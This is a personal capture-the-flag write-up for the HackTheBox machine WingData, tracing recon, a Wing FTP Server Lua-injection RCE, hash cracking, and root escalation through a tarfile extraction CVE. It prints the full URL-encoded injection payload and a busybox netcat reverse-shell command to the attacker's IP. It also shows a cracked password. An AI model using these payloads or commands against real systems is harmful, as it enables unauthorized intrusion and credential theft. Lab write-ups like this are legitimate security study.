HTB WingData

Machine WingData (Active)

first we run an nmap scan :

1
❯ nmap -sC -sV 10.129.7.191
2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-16 22:55 +0100
3
Nmap scan report for wingdata.htb (10.129.7.191)
4
Host is up (0.28s latency).
5
Not shown: 998 filtered tcp ports (no-response)
6
PORT   STATE SERVICE VERSION
7
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
8
| ssh-hostkey:
9
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
10
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
11
80/tcp open  http    Apache httpd 2.4.66
12
|_http-server-header: Apache/2.4.66 (Debian)
13
|_http-title: WingData Solutions
14
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
15

16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17
Nmap done: 1 IP address (1 host up) scanned in 38.09 seconds

first of all theres an ssh port , and a web port, we dont have credentials for the ssh, so let’s check the web page.
Theres nothing really ineteresting in the page except for the “client portal” which leads to a login page “ftp.wingdata.htb/login.html”

1
❯ ffuf -u http://FUZZ.wingdata.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.wingdata.htb" -s
2
===========================
3
ftp

-so we found that ftp is the only subdomain.

time for some burpsuite and testing (to get an idea of how their login works)
so this is how the login flow works, there’s something quite interesting, username_val and password_val, im not quite sure whats the point from it but let’s keep it in mind just in case.
I was stuck for like 20 minutes and i was reading the html and js code from the browser and i found something really interesting :

hidden input fields ;0 lets make them shown and test them
there they are !

lets test the request now well its the hidden ones that resemble the username_val and password_val , and guess what , they’re the ones actually tested.
- let’s ignore that i was stuck there for another 20 minutes, I tried to think out of the box, and look what i found !
  
  this exact version had a recent RCE vulnerability, let’s try to use it
well from what i read , i understand that to use the exploit u have to have Anonymous login enabled, and its quite easy, use this payload : username=anonymous&password=&remember=true
and fr it did log me in this time !

alright, now lets test a login payload from the rce cve: username=anonymous%00]]%0dlocal%20h%20%3d%20io.popen(%22id%22)%0dlocal%20r%20%3d%20h%3aread(%22*a%22)%0dh%3aclose()%0dprint(r)%0d--&password=&remember=true (url encoded)

its working !

now (from what i read from this cve documentation, we shall check /dir.html for possible code execution (while using the same cookie -UID))

HELL YEAH, its working. we can see the output of our lua code (io.popen("id"))
alright, lets get a shell !

after lots and lots of trying I for some reason can’t open a shell, lets try the poc from the CVE’s page:

1
 python3 poc.py -u http://ftp.wingdata.htb/ -c 'busybox nc 10.10.16.55 9000 -e sh'

1
 nc -lnvp 9000

after getting a reverse shell finally, i started scanning the whole directory file by file for any possible helpful information, I came across this:

1
 /opt/wftpserver/Data/1/users/wacky.xml
2
<?xml version="1.0" ?>
3
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
4
   <USER>
5
       <UserName>wacky</UserName>
6
       <EnableAccount>1</EnableAccount>
7
       <EnablePassword>1</EnablePassword>
8
       <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
9
       <ProtocolType>63</ProtocolType>
10
       <EnableExpire>0</EnableExpire>
11
       <ExpireTime>2025-12-02 12:02:46</ExpireTime>
12
       <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
13
       <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
14
       <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
15
       <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
16
       <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
17
       <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
18
       <MaxConnection>0</MaxConnection>
19
       <ConnectionPerIp>0</ConnectionPerIp>
20
       <PasswordLength>0</PasswordLength>
21
       <ShowHiddenFile>0</ShowHiddenFile>
22
       <CanChangePassword>0</CanChangePassword>
23
       <CanSendMessageToServer>0</CanSendMessageToServer>
24
       <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
25
       <SSHPublicKeyPath></SSHPublicKeyPath>
26
       <SSHAuthMethod>0</SSHAuthMethod>
27
       <EnableWeblink>1</EnableWeblink>
28
       <EnableUplink>1</EnableUplink>
29
       <EnableTwoFactor>0</EnableTwoFactor>
30
       <TwoFactorCode></TwoFactorCode>
31
       <ExtraInfo></ExtraInfo>
32
       <CurrentCredit>0</CurrentCredit>
33
       <RatioDownload>1</RatioDownload>
34
       <RatioUpload>1</RatioUpload>
35
       <RatioCountMethod>0</RatioCountMethod>
36
       <EnableRatio>0</EnableRatio>
37
       <MaxQuota>0</MaxQuota>
38
       <CurrentQuota>0</CurrentQuota>
39
       <EnableQuota>0</EnableQuota>
40
       <NotesName></NotesName>
41
       <NotesAddress></NotesAddress>
42
       <NotesZipCode></NotesZipCode>
43
       <NotesPhone></NotesPhone>
44
       <NotesFax></NotesFax>
45
       <NotesEmail></NotesEmail>
46
       <NotesMemo></NotesMemo>
47
       <EnableUploadLimit>0</EnableUploadLimit>
48
       <CurLimitUploadSize>0</CurLimitUploadSize>
49
       <MaxLimitUploadSize>0</MaxLimitUploadSize>
50
       <EnableDownloadLimit>0</EnableDownloadLimit>
51
       <CurLimitDownloadLimit>0</CurLimitDownloadLimit>
52
       <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
53
       <LimitResetType>0</LimitResetType>
54
       <LimitResetTime>1762103089</LimitResetTime>
55
       <TotalReceivedBytes>0</TotalReceivedBytes>
56
       <TotalSentBytes>0</TotalSentBytes>
57
       <LoginCount>2</LoginCount>
58
       <FileDownload>0</FileDownload>
59
       <FileUpload>0</FileUpload>
60
       <FailedDownload>0</FailedDownload>
61
       <FailedUpload>0</FailedUpload>
62
       <LastLoginIp>127.0.0.1</LastLoginIp>
63
       <LastLoginTime>2025-11-02 12:28:52</LastLoginTime>
64
       <EnableSchedule>0</EnableSchedule>
65
   </USER>
66
</USER_ACCOUNTS>

alright, we got a username and a password, good progress, the password is obviously hashed, after some looking online, it appears to be a sha-256 hash, so we need the salting string.

for like 20 minutes of looking arround different xmls, i found this : <SaltingString>WingFTP</SaltingString>
great, we can crack it now :

1
  hashcat -m 1400 -a 6 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca /usr/share/wordlists/rockyou.txt 'WingFTP'

AND YES ! we got !#7Blushing^*Bride5 ;
since we got a username and a password lets try to ssh in :
alt text
there we are ! we got the user flag !

now lets go on the hunt for the root’s flag:
im looking for priv esc vectors, im not sure but i prolly found something :

the python code we can execute as root is the following :

1
  #!/usr/bin/env python3
2
  import tarfile
3
  import os
4
  import sys
5
  import re
6
  import argparse
7

8
  BACKUP_BASE_DIR = "/opt/backup_clients/backups"
9
  STAGING_BASE = "/opt/backup_clients/restored_backups"
10

11
  def validate_backup_name(filename):
12
      if not re.fullmatch(r"^backup_\d+\.tar$", filename):
13
          return False
14
      client_id = filename.split('_')[1].rstrip('.tar')
15
      return client_id.isdigit() and client_id != "0"
16

17
  def validate_restore_tag(tag):
18
      return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
19

20
  def main():
21
      parser = argparse.ArgumentParser(
22
          description="Restore client configuration from a validated backup tarball.",
23
          epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
24
      )
25
      parser.add_argument(
26
          "-b", "--backup",
27
          required=True,
28
          help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
29
              "where <client_id> is a positive integer, e.g., backup_1001.tar)"
30
      )
31
      parser.add_argument(
32
          "-r", "--restore-dir",
33
          required=True,
34
          help="Staging directory name for the restore operation. "
35
              "Must follow the format: restore_<client_user> (e.g., restore_john). "
36
              "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
37
      )
38

39
      args = parser.parse_args()
40

41
      if not validate_backup_name(args.backup):
42
          print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
43
          sys.exit(1)
44

45
      backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
46
      if not os.path.isfile(backup_path):
47
          print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
48
          sys.exit(1)
49

50
      if not args.restore_dir.startswith("restore_"):
51
          print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
52
          sys.exit(1)
53

54
      tag = args.restore_dir[8:]
55
      if not tag:
56
          print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
57
          sys.exit(1)
58

59
      if not validate_restore_tag(tag):
60
          print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
61
          sys.exit(1)
62

63
      staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
64
      print(f"[+] Backup: {args.backup}")
65
      print(f"[+] Staging directory: {staging_dir}")
66

67
      os.makedirs(staging_dir, exist_ok=True)
68

69
      try:
70
          with tarfile.open(backup_path, "r") as tar:
71
              tar.extractall(path=staging_dir, filter="data")
72
          print(f"[+] Extraction completed in {staging_dir}")
73
      except (tarfile.TarError, OSError, Exception) as e:
74
          print(f"[!] Error during extraction: {e}", file=sys.stderr)
75
          sys.exit(2)
76

77
  if __name__ == "__main__":
78
      main()

I tried to make sense of the script (in the sense of how to exploit it but i couldn’t really find anything useful), I started looking online, and I found that there’s a CVE (CVE-2007-4559) in the library of tarfile specifically the method tar.extractall() that followed whatever path provided inside the files of the tar (you can overwrite important files as root), which was patched in 2023 with filter="data" what this apparently does is block anything starting with / or containing .. and also check symlinks and where they point (and block them if they point to something outside of the directory), this feels like a dead end tbh.
well apparently, another CVE (CVE-2025-4517 / CVE-2025-43) XD alt text
well lets use the CVE’s poc now, (poc2.py)

first of all, since idk the root’s password and since I cannot change the root password, I need a way to authenticate as root, i can create an ssh pair that the poc script will plant inside /root/.ssh/authorized_key which will grant me root access, i can do it with the command : ssh-keygen -t rsa -N "" -f /tmp/root_key
now i can run the exploit on the ssh as the “wacky” user: alt text
the malicious tar is created, now we use the script that we have root’s permission on to move the ssh pair into the athorized_key file:
great, now now lets try to connect with ssh -i /tmp/root_key root@localhost and lets just hope it works,

YESSIR !! alt text

i deadass spent 3 days solving it, finally !